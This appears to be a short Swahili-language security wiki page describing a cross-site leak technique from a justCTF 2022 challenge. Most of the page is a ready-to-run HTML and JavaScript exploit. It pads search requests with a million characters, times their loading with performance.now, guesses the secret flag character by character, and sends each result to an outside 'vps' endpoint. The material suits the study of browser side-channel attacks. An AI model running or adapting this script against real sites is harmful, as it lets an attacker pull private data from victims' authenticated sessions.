performance.now + Force heavy task

Exploit iliyochukuliwa kutoka https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

Katika changamoto hii, mtumiaji angeweza kutuma maelfu ya herufi na ikiwa bendera ilikuwa ndani, herufi hizo zingerejeshwa kwa bot. Hivyo, kwa kuweka kiasi kikubwa cha herufi, mshambuliaji angeweza kupima ikiwa bendera ilikuwa ndani ya mfuatano wa herufi uliopelekwa au la.

Warning

Awali, sikuweka upana na urefu wa kitu, lakini baadaye, niligundua kuwa ni muhimu kwa sababu saizi ya kawaida ni ndogo sana kuleta tofauti katika muda wa kupakia.

<!DOCTYPE html>
<html>
<head> </head>
<body>
<img src="https://deelay.me/30000/https://example.com" />
<script>
fetch("https://deelay.me/30000/https://example.com")

function send(data) {
fetch("http://vps?data=" + encodeURIComponent(data)).catch((err) => 1)
}

function leak(char, callback) {
return new Promise((resolve) => {
let ss = "just_random_string"
let url =
`http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=` +
ss[Math.floor(Math.random() * ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement("object")
object.width = "2000px"
object.height = "2000px"
object.data = url
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log("Error event triggered")
document.body.appendChild(object)
})
}

send("start")

let charset = "abcdefghijklmnopqrstuvwxyz_}".split("")
let flag = "justCTF{"

async function main() {
let found = 0
let notFound = 0
for (let i = 0; i < 3; i++) {
await leak("..")
}
for (let i = 0; i < 3; i++) {
found += await leak("justCTF")
}
for (let i = 0; i < 3; i++) {
notFound += await leak("NOT_FOUND123")
}

found /= 3
notFound /= 3

send("found flag:" + found)
send("not found flag:" + notFound)

let threshold = found - (found - notFound) / 2
send("threshold:" + threshold)

if (notFound > found) {
return
}

// exploit
while (true) {
if (flag[flag.length - 1] === "}") {
break
}
for (let char of charset) {
let trying = flag + char
let time = 0
for (let i = 0; i < 3; i++) {
time += await leak(trying)
}
time /= 3
send("char:" + trying + ",time:" + time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()
</script>
</body>
</html>

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performance.now + Force heavy task

2.4 KiB

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